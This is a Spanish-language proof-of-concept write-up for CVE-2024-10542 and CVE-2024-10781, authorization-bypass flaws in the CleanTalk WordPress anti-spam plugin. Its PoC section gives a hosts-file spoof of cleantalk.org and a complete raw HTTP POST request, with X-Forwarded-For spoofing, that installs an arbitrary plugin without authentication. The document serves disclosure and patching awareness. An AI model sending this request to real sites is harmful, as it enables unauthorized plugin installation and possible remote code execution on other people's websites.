CVE-2024-10542

PoC de CVE-2024-10542 y CVE-2024-10781: Autenticación rota en el plugin Spam protection, AntiSpam, FireWall by CleanTalk <= 6.43.2

Descargo de responsabilidad:

La información proporcionada en este documento sobre CVE-2024-10542 tiene fines exclusivamente educativos y de aprendizaje. No alentamos ni autorizamos el uso de esta información para fines perjudiciales, incluyendo pero no limitándose a la explotación, manipulación de sistemas u otras actividades ilegales.

Introducción:

En un panorama digital cada vez más complejo, garantizar la seguridad de los sitios web es primordial para muchos propietarios. Recientemente, se han descubierto dos vulnerabilidades críticas que representan una amenaza significativa para los sitios WordPress. Estas vulnerabilidades afectan al conocido plugin CleanTalk, que proporciona protección contra spam, medidas antispam y un cortafuegos. ¿Qué hace que esta situación sea aún más urgente? ¡Profundicemos! Dos vulnerabilidades rastreadas como CVE-2024-10542 y CVE-2024-10781 podrían permitir a atacantes no autenticados instalar y activar plugins maliciosos en sitios susceptibles. Esto no solo pone en peligro la reputación del sitio, sino que también abre la puerta a que los atacantes ejecuten código remoto. Con una puntuación CVSS de 9.8 sobre 10, es evidente que estas vulnerabilidades pertenecen a la categoría de alto peligro. Según Wordfence, ambas vulnerabilidades se refieren a un problema de omisión de autorización que podría permitir a un actor malicioso instalar y activar plugins arbitrarios. Esto podría allanar el camino para la ejecución remota de código si el plugin activado es vulnerable por sí mismo.

PoC:

en primer lugar, los usuarios maliciosos configurarán su archivo hosts en sus sistemas operativos:

127.0.0.1 cleantalk.org

después de lo cual enviarán una solicitud como esta

POST /?plugin=wp-hooks-finder/index.php HTTP/1.1
Host: wordpress.test
Content-Length: 56
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://wordpress.test
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.60 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
X-Forwarded-For: 127.0.0.1
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close

spbc_remote_call_action=install_plugin&plugin_name=apbct

Conclusión:

La ciberseguridad es una responsabilidad compartida por todos los propietarios de sitios. Manteniendo los plugins actualizados y permaneciendo atentos a las posibles vulnerabilidades, podemos proteger nuestros sitios de ataques maliciosos. Asegúrate de haber actualizado CleanTalk a la última versión y realiza revisiones rutinarias en otros plugins para garantizar la máxima seguridad. ¡Recuerda, pequeños pasos pueden prevenir grandes desastres!

Referencia:

• https://thehackernews.com/2024/11/critical-wordpress-anti-spam-plugin.html
• https://patchstack.com/database/vulnerability/cleantalk-spam-protect/wordpress-spam-protection-anti-spam-firewall-by-cleantalk-plugin-6-43-2-authorization-bypass-via-reverse-dns-spoofing-vulnerability
• https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/cleantalk-spam-protect/spam-protection-anti-spam-firewall-by-cleantalk-6432-authorization-bypass-via-reverse-dns-spoofing-to-unauthenticated-arbitrary-plugin-installation
• https://plugins.trac.wordpress.org/changeset/3179819/cleantalk-spam-protect#file631

Cómprame un café:

• https://saweria.co/ubaii
• https://buymeacoffee.com/ubaii
• https://trakteer.id/ubaii

Agradecimientos:

Allah, Muhammad SAW, mikemyers, Markdown Monster, mi familia, ¿y tú?